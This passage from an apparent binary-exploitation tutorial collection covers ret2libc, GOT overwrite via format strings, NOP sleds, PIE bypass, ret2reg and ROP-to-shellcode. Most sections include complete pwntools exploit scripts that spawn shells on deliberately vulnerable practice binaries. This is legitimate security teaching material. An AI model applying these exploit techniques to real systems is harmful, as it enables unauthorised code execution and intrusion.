{hex(libc.address)}') 67 | ``` 68 | 69 | Now we can finally ret2libc, using the `libc` `ELF` object to really simplify it for us: 70 | 71 | ```python 72 | payload = flat( 73 | 'A' * 32, 74 | libc.sym['system'], 75 | 0x0, # return address 76 | next(libc.search(b'/bin/sh')) 77 | ) 78 | 79 | p.sendline(payload) 80 | 81 | p.interactive() 82 | ``` 83 | 84 | ### Final Exploit 85 | 86 | ```python 87 | from pwn import * 88 | 89 | elf = context.binary = ELF('./vuln-32') 90 | libc = elf.libc 91 | p = process() 92 | 93 | p.recvuntil('at: ') 94 | system_leak = int(p.recvline(), 16) 95 | 96 | libc.address = system_leak - libc.sym['system'] 97 | log.success(f'LIBC base: {hex(libc.address)}') 98 | 99 | payload = flat( 100 | 'A' * 32, 101 | libc.sym['system'], 102 | 0x0, # return address 103 | next(libc.search(b'/bin/sh')) 104 | ) 105 | 106 | p.sendline(payload) 107 | 108 | p.interactive() 109 | ``` 110 | 111 | ## 64-bit 112 | 113 | Try it yourself :\) 114 | 115 | {% file src="../../../.gitbook/assets/aslr-64.zip" caption="ASLR - 64-bit" %} 116 | 117 | ## Using pwntools 118 | 119 | If you prefer, you could have changed the following payload to be more pwntoolsy: 120 | 121 | ```python 122 | payload = flat( 123 | 'A' * 32, 124 | libc.sym['system'], 125 | 0x0, # return address 126 | next(libc.search(b'/bin/sh')) 127 | ) 128 | 129 | p.sendline(payload) 130 | ``` 131 | 132 | Instead, you could do: 133 | 134 | ```python 135 | binsh = next(libc.search(b'/bin/sh')) 136 | 137 | rop = ROP(libc) 138 | rop.raw('A' * 32) 139 | rop.system(binsh) 140 | 141 | p.sendline(rop.chain()) 142 | ``` 143 | 144 | The benefit of this is it's \(arguably\) more readable, but also makes it much easier to reuse in 64-bit exploits as all the parameters are automatically resolved for you. 145 | 146 | -------------------------------------------------------------------------------- /binexp/stack/de-bruijn-sequences.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: The better way to calculate offsets 3 | --- 4 | 5 | # De Bruijn Sequences 6 | 7 | De Bruijn sequences of order `n` is simply a sequence where no string of `n` characters is repeated. This makes finding the offset until EIP much simpler - we can just pass in a De Bruijn sequence, get the value within EIP and find the **one possible match** within the sequence to calculate the offset. Let's do this on the **ret2win** binary. 8 | 9 | ### Generating the Pattern 10 | 11 | Again, `radare2` comes with a nice command-line tool \(called `ragg2`\) that can generate it for us. Let's create a sequence of length `100`. 12 | 13 | ```text 14 | $ ragg2 -P 100 -r 15 | AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh 16 | ``` 17 | 18 | The `-P` specifies the length while `-r` tells it to show ascii bytes rather than hex pairs. 19 | 20 | ### Using the Pattern 21 | 22 | Now we have the pattern, let's just input it in `radare2` when prompted for input, make it crash and then calculate how far along the sequence the EIP is. Simples. 23 | 24 | ```text 25 | $ r2 -d -A vuln 26 | 27 | [0xf7ede0b0]> dc 28 | Overflow me 29 | AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh 30 | child stopped with signal 11 31 | [+] SIGNAL 11 errno=0 addr=0x41534141 code=1 ret=0 32 | ``` 33 | 34 | The address it crashes on is `0x41534141`; we can use `radare2`'s in-built `wopO` command to work out the offset. 35 | 36 | ```text 37 | [0x41534141]> wopO 0x41534141 38 | 52 39 | ``` 40 | 41 | Awesome - we get the correct value! 42 | 43 | We can also be lazy and not copy the value. 44 | 45 | ```text 46 | [0x41534141]> wopO `dr eip` 47 | 52 48 | ``` 49 | 50 | The backticks means the `dr eip` is calculated first, before the `wopO` is run on the result of it. 51 | 52 | -------------------------------------------------------------------------------- /binexp/stack/exploiting-over-sockets/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: File Descriptors and Sockets 3 | --- 4 | 5 | # Exploiting over Sockets 6 | 7 | ## Overview 8 | 9 | **File Descriptors** are integers that represent conections to sockets or files or whatever you're connecting to. In Unix systems, there are `3` main file descriptors \(often abbreviated **fd**\) for each application: 10 | 11 | | Name | fd | 12 | | :--- | :--- | 13 | | `stdin` | 0 | 14 | | `stdout` | 1 | 15 | | `stderr` | 2 | 16 | 17 | These are, as shown above, **standard input**, **output** and **error**. You've probably used them before yourself, for example to hide errors when running commands: 18 | 19 | ```bash 20 | find / -name secret.txt 2>/dev/null 21 | ``` 22 | 23 | Here you're piping `stderr` to `/dev/null`, which is the same principle. 24 | 25 | ## File Descriptors and Sockets 26 | 27 | Many binaries in CTFs use programs such as `socat` to redirect `stdin` and `stdout` \(and sometimes `stderr`\) to the user when they connect. These are super simple and often require no more than a replacement of 28 | 29 | ```python 30 | p = process() 31 | ``` 32 | 33 | With the line 34 | 35 | ```python 36 | p = remote(host, port) 37 | ``` 38 | 39 | Others, however, implement their own socket programming in C. In these scenarios, `stdin` and `stdout` may not be shown back to the user. 40 | 41 | The reason for this is every new connection has a **different fd**. If you listen in C, since fd 0-2 is reserved, the listening socket will often be assigned fd `3`. Once we connect, we set up another fd, fd `4` \(neither the `3` nor the `4` is certain, but statistically likely\). 42 | 43 | ## Exploitation with File Desciptors 44 | 45 | In these scenarios, it's just as simple to pop a shell. This shell, however, is not shown back to the user - it's shown back to the terminal running the server. Why? Because it utilises fd `0`, `1` and `2` for its I/O. 46 | 47 | Here we have to tell the program to **duplicate** the file descriptor in order to redirect `stdin` and `stderr` to fd `4`, and glibc provides a simple way to do so. 48 | 49 | The `dup` syscall \(and C function\) duplicates the fd and uses the lowest-numbered free fd. However, we need to ensure it's fd `4` that's used, so we can use `dup2()`. `dup2` takes in two parameters: a `newfd` and an `oldfd`. Descriptor `oldfd` is duplicated to `newfd`, allowing us to interact with `stdin` and `stdout` and actually use any shell we may have popped. 50 | 51 | Note that the [man page](https://man7.org/linux/man-pages/man2/dup.2.html) outlines how if `newfd` is in use it is silently closed, which is exactly what we wish. 52 | 53 | -------------------------------------------------------------------------------- /binexp/stack/exploiting-over-sockets/socat.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: More on socat 3 | --- 4 | 5 | # Socat 6 | 7 | `socat` is a "multipurpose relay" often used to serve binary exploitation challenges in CTFs. Essentially, it transfers `stdin` and `stdout` to the socket and _also_ allows simple forking capabilities. The following is an example of how you could host a binary on port `5000`: 8 | 9 | ```text 10 | socat tcp-l:5000,reuseaddr,fork EXEC:"./vuln",pty,stderr 11 | ``` 12 | 13 | Most of the command is fairly logical \(and the rest you can look up\). The important part is that in this scenario we don't have to [redirect file descriptors](./), as `socat` does it all for us. 14 | 15 | What **is** important, however, is `pty` mode. Because `pty` mode allows you to communicate with the process as if you were a user, it takes in input literally - **including DELETE characters**. If you send a `\x7f` - a `DELETE` - it will **literally** delete the previous character \(as shown shortly in my [_Dream Diary: Chapter 1_](https://ir0nstone.gitbook.io/hackthebox/challenges/dream-diary-chapter-1/unlink-exploit#moving-to-remote) writeup\). This is incredibly relevant because in 64-bit the `\x7f` is almost always present in glibc addresses, so it's not quite so possible to avoid \(although you _could_ keep rerunning the exploit until the rare occasion you get an `0x7e...` libc base\). 16 | 17 | To bypass this we use the `socat` `pty` escape character `\x16` and prepend it to any `\x7f` we send across. 18 | 19 | -------------------------------------------------------------------------------- /binexp/stack/forking-processes.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Flaws with fork() 3 | --- 4 | 5 | # Forking Processes 6 | 7 | Some processes use `fork()` to deal with multiple requests at once, most notably servers. 8 | 9 | An interesting side-effect of `fork()` is that memory is copied **exactly**. This means everything is identical - ELF base, libc base, **canaries**. 10 | 11 | This "shared" memory is interesting from an attacking point of view as it allows us to do a **byte-by-byte bruteforce**. Simply put, if there is a response from the server when we send a message, we can work out when it crashed. We keep spamming bytes until there's a response. If the server crashes, the byte is wrong. If not, it's correct. 12 | 13 | This allows us to bruteforce the RIP one byte at a time, essentially leaking PIE - and the same thing for canaries and RBP. 24 bytes of multithreaded bruteforce, and once you leak all of those you can bypass a canary, get a stack leak from RBP and PIE base from RIP. 14 | 15 | I won't be making a binary for this \(yet\), but you can check out [ippsec's Rope writeup](https://www.youtube.com/watch?v=GTQxZlr5yvE) for HTB - Rope root was this exact technique. 16 | 17 | -------------------------------------------------------------------------------- /binexp/stack/got-overwrite/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Hijacking functions 3 | --- 4 | 5 | # GOT Overwrite 6 | 7 | You may remember that the GOT stores the actual locations in `libc` of functions. Well, if we could overwrite an entry, we could gain code execution that way. Imagine the following code: 8 | 9 | ```c 10 | char buffer[20]; 11 | gets(buffer); 12 | printf(buffer); 13 | ``` 14 | 15 | Not only is there a buffer overflow and format string vulnerability here, but say we used that format string to overwrite the GOT entry of `printf` with the location of `system`. The code would essentially look like the following: 16 | 17 | ```c 18 | char buffer[20]; 19 | gets(buffer); 20 | system(buffer); 21 | ``` 22 | 23 | Bit of an issue? Yes. Our input is being passed directly to `system`. 24 | 25 | -------------------------------------------------------------------------------- /binexp/stack/got-overwrite/exploiting-a-got-overwrite.md: -------------------------------------------------------------------------------- 1 | # Exploiting a GOT overwrite 2 | 3 | ## Source 4 | 5 | {% file src="../../../.gitbook/assets/got-overwrite-32.zip" caption="GOT Overwrite - 32-bit" %} 6 | 7 | The very simplest of possible GOT-overwrite binaries. 8 | 9 | ```c 10 | #include 11 | 12 | void vuln() { 13 | char buffer[300]; 14 | 15 | while(1) { 16 | fgets(buffer, sizeof(buffer), stdin); 17 | 18 | printf(buffer); 19 | puts(""); 20 | } 21 | } 22 | 23 | int main() { 24 | vuln(); 25 | 26 | return 0; 27 | } 28 | ``` 29 | 30 | Infinite loop which takes in your input and prints it out to you using `printf` - no buffer overflow, just format string. Let's assume ASLR is disabled - have a go yourself :\) 31 | 32 | ## Exploitation 33 | 34 | As per usual, set it all up 35 | 36 | ```python 37 | from pwn import * 38 | 39 | elf = context.binary = ELF('./got_overwrite-32') 40 | libc = elf.libc 41 | libc.address = 0xf7dc2000 # ASLR disabled 42 | 43 | p = process() 44 | ``` 45 | 46 | Now, to do the `%n` overwrite, we need to find the offset until we start reading the buffer. 47 | 48 | ```text 49 | $ ./got_overwrite 50 | 51 | %p %p %p %p %p %p 52 | 0x12c 0xf7fa7580 0x8049191 0x340 0x25207025 0x70252070 53 | ``` 54 | 55 | Looks like it's the 5th. 56 | 57 | ```text 58 | $./got_overwrite 59 | 60 | %5$p 61 | 0x70243525 62 | ``` 63 | 64 | Yes it is! 65 | 66 | ```python 67 | payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']}) 68 | p.sendline(payload) 69 | 70 | p.clean() 71 | 72 | p.interactive() 73 | ``` 74 | 75 | Now, next time `printf` gets called on your input it'll actually be `system`! 76 | 77 | If the buffer is restrictive, you can always send `/bin/sh` to get you into a shell and run longer commands. 78 | 79 | ### Final Exploit 80 | 81 | ```python 82 | from pwn import * 83 | 84 | elf = context.binary = ELF('./got_overwrite-32') 85 | libc = elf.libc 86 | libc.address = 0xf7dc2000 # ASLR disabled 87 | 88 | p = process() 89 | 90 | payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']}) 91 | p.sendline(payload) 92 | 93 | p.clean() 94 | 95 | p.sendline('/bin/sh') 96 | 97 | p.interactive() 98 | ``` 99 | 100 | ## 64-bit 101 | 102 | You'll never guess. That's right! You can do this one by yourself. 103 | 104 | {% file src="../../../.gitbook/assets/got-overwrite-64.zip" caption="GOT Overwrite - 64-bit" %} 105 | 106 | ## ASLR Enabled 107 | 108 | If you want an additional challenge, re-enable ASLR and do the 32-bit and 64-bit exploits again; you'll have to leverage what we've covered previously. 109 | 110 | {% file src="../../../.gitbook/assets/got-overwrite-aslr.zip" caption="GOT Overwrite - ASLR Exploit Scripts" %} 111 | 112 | -------------------------------------------------------------------------------- /binexp/stack/no-execute.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: The defence against shellcode 3 | --- 4 | 5 | # No eXecute 6 | 7 | As you can expect, programmers were hardly pleased that people could inject their own instructions into the program. The NX bit, which stands for No eXecute, defines areas of memory as either **instructions** or **data**. This means that your input will be stored as **data**, and any attempt to run it as instructions will crash the program, effectively neutralising shellcode. 8 | 9 | To get around NX, exploit developers have to leverage a technique called **ROP**, Return-Oriented Programming. 10 | 11 | {% hint style="info" %} 12 | The Windows version of NX is DEP, which stands for **D**ata **E**xecution **P**revention 13 | {% endhint %} 14 | 15 | #### Checking for NX 16 | 17 | You can either use pwntools' `checksec` or `rabin2`. 18 | 19 | ```text 20 | $ checksec vuln 21 | [*] 'vuln' 22 | Arch: i386-32-little 23 | RELRO: Partial RELRO 24 | Stack: No canary found 25 | NX: NX disabled 26 | PIE: No PIE (0x8048000) 27 | RWX: Has RWX segments 28 | ``` 29 | 30 | ```text 31 | $ rabin2 -I vuln 32 | [...] 33 | nx false 34 | [...] 35 | ``` 36 | 37 | -------------------------------------------------------------------------------- /binexp/stack/nops.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: More reliable shellcode exploits 3 | --- 4 | 5 | # NOPs 6 | 7 | NOP \(no operation\) instructions do exactly what they sound like: _nothing_. Which makes then very useful for shellcode exploits, because all they will do is run the next instruction. If we pad our exploits on the left with NOPs and point EIP at the middle of them, it'll simply keep doing no instructions until it reaches our actual shellcode. This allows us a greater margin of error as a shift of a few bytes forward or backwards won't really affect it, it'll just run a different number of NOP instructions - which have the same end result of running the shellcode. This padding with NOPs is often called a NOP slide or NOP sled, since the EIP is essentially sliding down them. 8 | 9 | In intel x86 assembly, NOP instructions are `\x90`. 10 | 11 | {% hint style="info" %} 12 | The NOP instruction actually used to stand for `XCHG EAX, EAX`, which does effectively nothing. You can read a bit more about it [on this StackOverflow question](https://stackoverflow.com/questions/25008772/whats-the-difference-between-the-x86-nop-and-fnop-instructions/25053039). 13 | {% endhint %} 14 | 15 | ### Updating our Shellcode Exploit 16 | 17 | We can make slight changes to our exploit to do two things: 18 | 19 | * Add a large number of NOPs on the left 20 | * Adjust our return pointer to point at the middle of the NOPs rather than the buffer start 21 | 22 | {% hint style="warning" %} 23 | Make sure ASLR is still disabled. If you have to disable it again, you may have to readjust your previous exploit as the buffer location my be different. 24 | {% endhint %} 25 | 26 | ```python 27 | from pwn import * 28 | 29 | context.binary = ELF('./vuln') 30 | 31 | p = process() 32 | 33 | payload = b'\x90' * 240 # The NOPs 34 | payload += asm(shellcraft.sh()) # The shellcode 35 | payload = payload.ljust(312, b'A') # Padding 36 | payload += p32(0xffffcfb4 + 120) # Address of the buffer + half nop length 37 | 38 | log.info(p.clean()) 39 | 40 | p.sendline(payload) 41 | 42 | p.interactive() 43 | ``` 44 | 45 | {% hint style="warning" %} 46 | It's probably worth mentioning that shellcode with NOPs is not failsafe; if you receive unexpected errors padding with NOPs but the shellcode worked before, try reducing the length of the nopsled as it may be tampering with other things on the stack 47 | {% endhint %} 48 | 49 | Note that NOPs are only `\x90` in certain architectures, and if you need others you can use pwntools: 50 | 51 | ```python 52 | nop = asm(shellcraft.nop()) 53 | ``` 54 | 55 | -------------------------------------------------------------------------------- /binexp/stack/one-gadgets-and-malloc-hook.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Quick shells and pointers 3 | --- 4 | 5 | # One Gadgets and Malloc Hook 6 | 7 | A `one_gadget` is simply an `execve("/bin/sh")` command that is present in gLIBC, and this can be a quick win with GOT overwrites - next time the function is called, the `one_gadget` is executed and the shell is popped. 8 | 9 | `__malloc_hook` is a feature in C. The [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) defines `__malloc_hook` as: 10 | 11 | > The value of this variable is a pointer to the function that `malloc` uses whenever it is called. 12 | 13 | To summarise, when you call `malloc()` the function `__malloc_hook` points to also gets called - so if we can overwrite this with, say, a `one_gadget`, and somehow trigger a call to `malloc()`, we can get an easy shell. 14 | 15 | #### Finding One\_Gadgets 16 | 17 | Luckily there is a tool written in **Ruby** called `one_gadget`. To install it, run: 18 | 19 | ```text 20 | gem install one_gadget 21 | ``` 22 | 23 | And then you can simply run 24 | 25 | ```text 26 | one_gadget libc 27 | ``` 28 | 29 | {% hint style="info" %} 30 | For most one\_gadgets, certain criteria have to be met. This means they won't all work - in fact, **none** of them may work. 31 | {% endhint %} 32 | 33 | #### Triggering malloc\(\) 34 | 35 | Wait a sec - isn't `malloc()` a _heap_ function? How will we use it on the stack? Well, you can actually trigger `malloc` by calling `printf("%10000$c")` \(this allocates too many bytes for the stack, forcing libc to allocate the space on the heap instead\). So, if you have a format string vulnerability, calling malloc is trivial. 36 | 37 | #### Practise 38 | 39 | This is a hard technique to give you practise on, due to the fact that your `libc` version may not even have working `one_gadgets`. As such, feel free to play around with the GOT overwrite binary and see if you can get a `one_gadget` working. 40 | 41 | Remember, the value given by the `one_gadget` tool needs to be added to libc base as it's just an offset. 42 | 43 | -------------------------------------------------------------------------------- /binexp/stack/pie/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Position Independent Code 3 | --- 4 | 5 | # PIE 6 | 7 | ## Overview 8 | 9 | PIE stands for **Position Independent Executable**, which means that every time you run the file it gets **loaded into a different memory address**. This means you cannot hardcode values such as function addresses and gadget locations without finding out where they are. 10 | 11 | ## Analysis 12 | 13 | Luckily, this does _not_ mean it's impossible to exploit. PIE executables are based around **relative** rather than **absolute** addresses, meaning that while the locations in memory are fairly random the offsets between different **parts of the binary** remain **constant**. For example, if you know that the function `main` is located `0x128` bytes in memory after the base address of the binary, and you somehow find the location of `main`, you can simply subtract `0x128` from this to get the base address and from the addresses of everything else. 14 | 15 | ## Exploitation 16 | 17 | So, all we need to do is find a _single_ address and PIE is bypassed. Where could we leak this address from? 18 | 19 | The stack of course! 20 | 21 | We know that the **return pointer** is located on the stack - and much like a canary, we can use format string \(or other ways\) to read the value off the stack. The value will always be a static offset away from the binary base, enabling us to completely bypass PIE! 22 | 23 | ## Double-Checking 24 | 25 | Due to the way PIE randomisation works, the base address of a PIE executable will **always** end in the hexadecimal characters `000`. This is because **pages** are the things being randomised in memory, which have a standard size of `0x1000`. Operating Systems keep track of page tables which point to each section of memory and define the permissions for each section, similar to segmentation. 26 | 27 | Checking the base address ends in `000` should _probably_ be the first thing you do if your exploit is not working as you expected. 28 | 29 | -------------------------------------------------------------------------------- /binexp/stack/pie/pie-bypass.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Using format string 3 | --- 4 | 5 | # PIE Bypass 6 | 7 | ## The Source 8 | 9 | {% file src="../../../.gitbook/assets/pie-fmtstr.zip" caption="PIE + Format String - 32-bit" %} 10 | 11 | ```c 12 | #include 13 | 14 | void vuln() { 15 | char buffer[20]; 16 | 17 | printf("What's your name?\n"); 18 | gets(buffer); 19 | 20 | printf("Nice to meet you "); 21 | printf(buffer); 22 | printf("\n"); 23 | 24 | puts("What's your message?"); 25 | 26 | gets(buffer); 27 | } 28 | 29 | int main() { 30 | vuln(); 31 | 32 | return 0; 33 | } 34 | 35 | void win() { 36 | puts("PIE bypassed! Great job :D"); 37 | } 38 | ``` 39 | 40 | Unlike last time, we don't get given a function. We'll have to leak it with format strings. 41 | 42 | ## Analysis 43 | 44 | ```text 45 | $ ./vuln-32 46 | 47 | What's your name? 48 | %p 49 | Nice to meet you 0xf7f6d080 50 | What's your message? 51 | hello 52 | ``` 53 | 54 | Everything's as we expect. 55 | 56 | ## Exploitation 57 | 58 | ### Setup 59 | 60 | As last time, first we set everything up. 61 | 62 | ```python 63 | from pwn import * 64 | 65 | elf = context.binary = ELF('./vuln-32') 66 | p = process() 67 | ``` 68 | 69 | ### PIE Leak 70 | 71 | Now we just need a leak. Let's try a few offsets. 72 | 73 | ```text 74 | $ ./vuln-32 75 | What's your name? 76 | %p %p %p %p %p 77 | Nice to meet you 0xf7eee080 (nil) 0x565d31d5 0xf7eb13fc 0x1 78 | ``` 79 | 80 | 3rd one looks like a binary address, let's check the difference between the 3rd leak and the base address in radare2. Set a breakpoint somewhere after the format string leak \(doesn't really matter where\). 81 | 82 | ```text 83 | $ r2 -d -A vuln-32 84 | 85 | Process with PID 5548 started... 86 | = attach 5548 5548 87 | bin.baddr 0x565ef000 88 | 0x565f01c9]> db 0x565f0234 89 | [0x565f01c9]> dc 90 | What's your name? 91 | %3$p 92 | Nice to meet you 0x565f01d5 93 | ``` 94 | 95 | We can see the base address is `0x565ef000` and the leaked value is `0x565f01d5`. Therefore, subtracting `0x1d5` from the leaked address should give us the binary. Let's leak the value and get the base address. 96 | 97 | ```python 98 | p.recvuntil('name?\n') 99 | p.sendline('%3$p') 100 | 101 | p.recvuntil('you ') 102 | elf_leak = int(p.recvline(), 16) 103 | 104 | elf.address = elf_leak - 0x11d5 105 | log.success(f'PIE base: {hex(elf.address)}') # not required, but a nice check 106 | ``` 107 | 108 | Now we just need to send the exploit payload. 109 | 110 | ```python 111 | payload = b'A' * 32 112 | payload += p32(elf.sym['win']) 113 | 114 | p.recvuntil('message?\n') 115 | p.sendline(payload) 116 | 117 | print(p.clean().decode()) 118 | ``` 119 | 120 | ### Final Exploit 121 | 122 | ```python 123 | from pwn import * 124 | 125 | elf = context.binary = ELF('./vuln-32') 126 | p = process() 127 | 128 | p.recvuntil('name?\n') 129 | p.sendline('%3$p') 130 | 131 | p.recvuntil('you ') 132 | elf_leak = int(p.recvline(), 16) 133 | 134 | elf.address = elf_leak - 0x11d5 135 | log.success(f'PIE base: {hex(elf.address)}') 136 | 137 | payload = b'A' * 32 138 | payload += p32(elf.sym['win']) 139 | 140 | p.recvuntil('message?\n') 141 | p.sendline(payload) 142 | 143 | print(p.clean().decode()) 144 | ``` 145 | 146 | ## 64-bit 147 | 148 | Same deal, just 64-bit. Try it out :\) 149 | 150 | {% file src="../../../.gitbook/assets/pie-fmtstr-64.zip" caption="PIE + Format String - 64-bit" %} 151 | 152 | 153 | 154 | -------------------------------------------------------------------------------- /binexp/stack/pie/pwntools-pie-and-rop.md: -------------------------------------------------------------------------------- 1 | # Pwntools, PIE and ROP 2 | 3 | As shown in the [pwntools ELF tutorial](../../../misc/pwntools/elf.md), pwntools has a host of functionality that allows you to really make your exploit dynamic. Simply setting `elf.address` will automatically update all the function and symbols addresses for you, meaning you don't have to worry about using `readelf` or other command line tools, but instead can receive it all dynamically. 4 | 5 | Not to mention that the [ROP capabilities](https://ironstone.gitbook.io/notes/pwntools/rop) are incredibly powerful as well. 6 | -------------------------------------------------------------------------------- /binexp/stack/reliable-shellcode/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: 'Shellcode, but without the guesswork' 3 | --- 4 | 5 | # Reliable Shellcode 6 | 7 | ## Utilising ROP 8 | 9 | The problem with shellcode exploits as they are is that the locations of it are questionable - wouldn't it be cool if we could control where we wrote it to? 10 | 11 | Well, we can. 12 | 13 | Instead of writing shellcode directly, we can instead use some ROP to take in input again - except this time, we specify the location as somewhere we control. 14 | 15 | ## Using ESP 16 | 17 | If you think about it, once the return pointer is popped off the stack ESP will points at whatever is after it in memory - after all, that's the entire basis of ROP. But what if we put shellcode there? 18 | 19 | It's a crazy idea. But remember, ESP will point there. So what if we overwrite the return pointer with a `jmp esp` gadget! Once it gets popped off, ESP will point at the shellcode and thanks to the `jmp esp` it will be executed! 20 | 21 | ## ret2reg 22 | 23 | **ret2reg** extends the use of `jmp esp` to the use of _any_ register that happens to point somewhere you need it to. 24 | 25 | -------------------------------------------------------------------------------- /binexp/stack/reliable-shellcode/ret2reg/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Using Registers to bypass ASLR 3 | --- 4 | 5 | # ret2reg 6 | 7 | **ret2reg** simply involves jumping to register addresses rather than hardcoded addresses, much like [Using RSP for Shellcode](../using-rsp.md). For example, you may find RAX _always_ points at your buffer when the `ret` is executed, so you could utilise a `call rax` or `jmp rax` to continue from there. 8 | 9 | The reason RAX is the most common for this technique is that, by _convention_, the return value of a function is stored in RAX. For example, take the following basic code: 10 | 11 | ```c 12 | #include 13 | 14 | int test() { 15 | return 0xdeadbeef; 16 | } 17 | 18 | int main() { 19 | test(); 20 | return 0; 21 | } 22 | ``` 23 | 24 | If we compile and disassemble the function, we get this: 25 | 26 | ```text 27 | 0x55ea94f68125 55 push rbp 28 | 0x55ea94f68126 4889e5 mov rbp, rsp 29 | 0x55ea94f68129 b8efbeadde mov eax, 0xdeadbeef 30 | 0x55ea94f6812e 5d pop rbp 31 | 0x55ea94f6812f c3 ret 32 | ``` 33 | 34 | As you can see, the value `0xdeadbeef` is being moved into EAX. 35 | 36 | -------------------------------------------------------------------------------- /binexp/stack/reliable-shellcode/ret2reg/using-ret2reg.md: -------------------------------------------------------------------------------- 1 | # Using ret2reg 2 | 3 | ## Source 4 | 5 | Any function that returns a pointer to the string once it acts on it is a prime target. There are many that do this, including stuff like `gets()`, `strcpy()` and `fgets()`. We''l keep it simple and use `gets()` as an example. 6 | 7 | ```c 8 | #include 9 | 10 | void vuln() { 11 | char buffer[100]; 12 | gets(buffer); 13 | } 14 | 15 | int main() { 16 | vuln(); 17 | return 0; 18 | } 19 | ``` 20 | 21 | ## Analysis 22 | 23 | First, let's make sure that some register _does_ point to the buffer: 24 | 25 | ```text 26 | $ r2 -d -A vuln 27 | 28 | [0x7f8ac76fa090]> pdf @ sym.vuln 29 | ; CALL XREF from main @ 0x401147 30 | ┌ 28: sym.vuln (); 31 | │ ; var int64_t var_70h @ rbp-0x70 32 | │ 0x00401122 55 push rbp 33 | │ 0x00401123 4889e5 mov rbp, rsp 34 | │ 0x00401126 4883ec70 sub rsp, 0x70 35 | │ 0x0040112a 488d4590 lea rax, [var_70h] 36 | │ 0x0040112e 4889c7 mov rdi, rax 37 | │ 0x00401131 b800000000 mov eax, 0 38 | │ 0x00401136 e8f5feffff call sym.imp.gets ; char *gets(char *s) 39 | │ 0x0040113b 90 nop 40 | │ 0x0040113c c9 leave 41 | └ 0x0040113d c3 ret 42 | ``` 43 | 44 | Now we'll set a breakpoint on the `ret` in `vuln()`, continue and enter text`.` 45 | 46 | ```text 47 | [0x7f8ac76fa090]> db 0x0040113d 48 | [0x7f8ac76fa090]> dc 49 | hello 50 | hit breakpoint at: 40113d 51 | ``` 52 | 53 | We've hit the breakpoint, let's check if RAX points to our register. We'll assume RAX first because that's the traditional register to use for the return value. 54 | 55 | ```text 56 | [0x0040113d]> dr rax 57 | 0x7ffd419895c0 58 | [0x0040113d]> ps @ 0x7ffd419895c0 59 | hello 60 | ``` 61 | 62 | And indeed it does! 63 | 64 | ## Exploitation 65 | 66 | We now just need a `jmp rax` gadget or equivalent. I'll use [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) for this and look for either `jmp rax` or `call rax`: 67 | 68 | ```text 69 | $ ROPgadget --binary vuln | grep -iE "(jmp|call) rax" 70 | 71 | 0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401019 ; call rax 72 | 0x0000000000401010 : call rax 73 | 0x000000000040100e : je 0x401014 ; call rax 74 | 0x0000000000401095 : je 0x4010a7 ; mov edi, 0x404030 ; jmp rax 75 | 0x00000000004010d7 : je 0x4010e7 ; mov edi, 0x404030 ; jmp rax 76 | 0x000000000040109c : jmp rax 77 | 0x0000000000401097 : mov edi, 0x404030 ; jmp rax 78 | 0x0000000000401096 : or dword ptr [rdi + 0x404030], edi ; jmp rax 79 | 0x000000000040100c : test eax, eax ; je 0x401016 ; call rax 80 | 0x0000000000401093 : test eax, eax ; je 0x4010a9 ; mov edi, 0x404030 ; jmp rax 81 | 0x00000000004010d5 : test eax, eax ; je 0x4010e9 ; mov edi, 0x404030 ; jmp rax 82 | 0x000000000040100b : test rax, rax ; je 0x401017 ; call rax 83 | ``` 84 | 85 | There's a `jmp rax` at `0x40109c`, so I'll use that. The padding up until RIP is `120`; I assume you can calculate this yourselves by now, so I won't bother showing it. 86 | 87 | ```python 88 | from pwn import * 89 | 90 | elf = context.binary = ELF('./vuln') 91 | p = process() 92 | 93 | JMP_RAX = 0x40109c 94 | 95 | payload = asm(shellcraft.sh()) # front of buffer <- RAX points here 96 | payload = payload.ljust(120, b'A') # pad until RIP 97 | payload += p64(JMP_RAX) # jump to the buffer - return value of gets() 98 | 99 | p.sendline(payload) 100 | p.interactive() 101 | ``` 102 | 103 | ![](../../../../.gitbook/assets/image%20%2846%29.png) 104 | 105 | Awesome! 106 | 107 | -------------------------------------------------------------------------------- /binexp/stack/reliable-shellcode/rop-and-shellcode.md: -------------------------------------------------------------------------------- 1 | # ROP and Shellcode 2 | 3 | ## Source 4 | 5 | {% file src="../../../.gitbook/assets/reliable\_shellcode-32.zip" caption="Reliable Shellcode - 32-bit" %} 6 | 7 | ```c 8 | #include 9 | 10 | void vuln() { 11 | char buffer[20]; 12 | 13 | puts("Give me the input"); 14 | 15 | gets(buffer); 16 | } 17 | 18 | int main() { 19 | vuln(); 20 | 21 | return 0; 22 | } 23 | ``` 24 | 25 | Super standard binary. 26 | 27 | ## Exploitation 28 | 29 | Let's get all the basic setup done. 30 | 31 | ```python 32 | from pwn import * 33 | 34 | elf = context.binary = ELF('./vuln-32') 35 | p = process() 36 | ``` 37 | 38 | Now we're going to do something interesting - we are going to call `gets` again. Most importantly, we will tell `gets` to write the data it receives to a section of the binary. We need somewhere both readable and writeable, so I choose the GOT. We pass a GOT entry to `gets`, and when it receives the shellcode we send it will **write the shellcode into the GOT**. Now we know _exactly where the shellcode is_. To top it all off, we set the return address of our call to `gets` to where we wrote the shellcode, perfectly executing what we just inputted. 39 | 40 | ```python 41 | rop = ROP(elf) 42 | 43 | rop.raw('A' * 32) 44 | rop.gets(elf.got['puts']) # Call gets, writing to the GOT entry of puts 45 | rop.raw(elf.got['puts']) # now our shellcode is written there, we can continue execution from 